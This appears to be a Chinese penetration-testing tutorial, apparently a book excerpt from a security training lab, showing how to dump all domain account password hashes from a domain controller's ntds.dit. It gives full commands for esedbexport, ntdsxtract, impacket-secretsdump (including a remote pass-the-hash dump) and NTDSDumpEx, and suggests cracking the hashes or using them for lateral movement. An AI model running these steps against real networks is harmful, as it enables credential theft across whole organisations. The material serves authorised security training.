如果已經獲得本地管理員賬號或是域管理員賬號,那麼下一個目標通常是域控制器,對於滲透測試人員來說,光榮與榮耀的那一刻就是成功從域控制器提取所有的雜湊值。但即使是擁有管理員許可權,也無法讀取域控制器中儲存的c:\Windows\NTDS\ntds.dit檔案,因為活動目錄始終訪問這個檔案,所有檔案被禁止讀出。下面介紹幾種常用提取ntds.dit的方法。
01
使用esedbexport恢復ntds.dit
將從目標系統匯出的ntds.dit放在本地Linux機器中進行解析,本次實驗環境為Kail2.0。
在Kali中開啟命令列輸入命令下載libesedb。
wgethttps://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz
首先安裝工具依賴環境,如圖6-24所示,輸入如下命令。
$ sudo apt-get install autoconf automake autopoint libtool pkg-config
圖6-24安裝工具依賴環境
將下載好的libesedb進行編譯安裝,依次輸入命令:
$ ./configure$ make$ sudo make install$ sudo ldconfig
安裝成功後會在系統/usr/local/bin中出現esedbexport程式,如圖6-25所示。
圖6-25檢視esedbexport是否安裝成功
在Kali中開啟命令列進入存放ntds.dit目錄中,使用esedbexport 恢復,輸入如下命令來提取表資訊,如圖6-26所示,恢復時間視ntds.dit大小決定,匯出成功會在同目錄生成一個資料夾。這裡的儲存資訊,我們只需要datatable和link_table。
esedbexport -m tables ntds.dit
圖6-26使用esedbexport 開啟ntds.dit
可以看到成功匯出,如圖6-27所示。
圖6-27檢視被開啟後的ntds.dit內容
再下載使用ntdsxtract進行提取域資訊,匯出Hash。
下載,在Kali輸入命令:
$ git clone https://github.com/csababarta/ntdsxtract.git
安裝,在Kali輸入命令:
python setup.py build && python setup.py install
然後將匯出ntds.dit.export資料夾和SYSTEM檔案一併放入ntdsxtract資料夾中,輸入如下命令。
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
成功將域內所有使用者資訊及Hash匯出到all_user.txt中,如圖6-28所示。
圖6-28匯出與內所有使用者和Hash資訊
匯出到Hash可以放在線上網站破解,也可以本地使用hashcat進行破解或在域內直接進行PTH進行橫向滲透。
Tips:ntds.dit中包含域內所有資訊,不僅僅包括使用者和Hash,也可以透過分析ntds.dit匯出域內計算機資訊或其他資訊,如:
dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
該命令可以執行匯出域內所有計算機資訊,匯出為csv格式,方便檢視,如圖6-29所示。
圖6-29匯出域內所有計算機資訊
02
使用impacket工具包匯出Hash
使用impacket工具包中的secretsdump 解析ntds.dit檔案,匯出Hash。
首先下載impacket工具包,在Kali下,輸入如下命令下載該工具。
git clone https://github.com/CoreSecurity/impacket.git
下載成功後,將impacket工具包安裝在Kali上,impacket是基於使用Python編寫的,Kail預設安裝了Python,直接輸入命令,如圖6-30所示。
python setup.py install
圖6-30安裝impacket
成功安裝後,開啟命令列進入ntds.dit和SYSTEM目錄,輸入如下命令,成功匯出ntds.dit中所有Hash,如圖6-31所示。
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
圖6-31使用impacket-secretsdump匯出使用者和Hash
Tips:impacket還可以直接使用使用者名稱和Hash進行驗證,從遠端域控制器讀取ntds.dit轉儲域Hash,如圖6-32所示:
impacket-secretsdump-hashesaad3b435b51404eeaad3b435b51404ee:135d82f03c3698e2e32bcb11f4da741b -just-dc pentest.com/administrator@192.168.100.205
圖6-32使用impacket-secretsdump向DC獲取資訊
03
Windows下解析ntds.dit匯出域賬號及域Hash
使用NTDSDumpex.exe進行匯出Hash操作。NTDSDumpex.exe下載地址:
https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip
首先將ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目錄中,開啟cmd輸入如下命令,域賬號及域Hash被成功匯出,如圖6-33所示。
NTDSDumpex.exe -d ntds.dit -s system
圖6-33使用NTDSDumpex.exe開啟ntds.dit
Ms08067安全實驗室專注於網路安全知識的普及和培訓,是專業的“圖書出版+培訓”的網路安全線上教育平臺,專注於網路安全領域中高階人才培養。
平臺已開設Web安全零基礎就業,Web高階安全攻防進階,紅隊實戰攻防特訓,Java程式碼安全審計,惡意程式碼分析與免殺實戰,CTF基礎實戰特訓營,網路安全應急響應,安全工具開發,AI與網路安全等系統培訓課程。實驗室出版安全圖書《Web安全攻防:滲透測試實戰指南》、《內網安全攻防:滲透測試實戰指南》、《Python安全攻防:滲透測試實戰指南》、《Java程式碼審計:入門篇》等。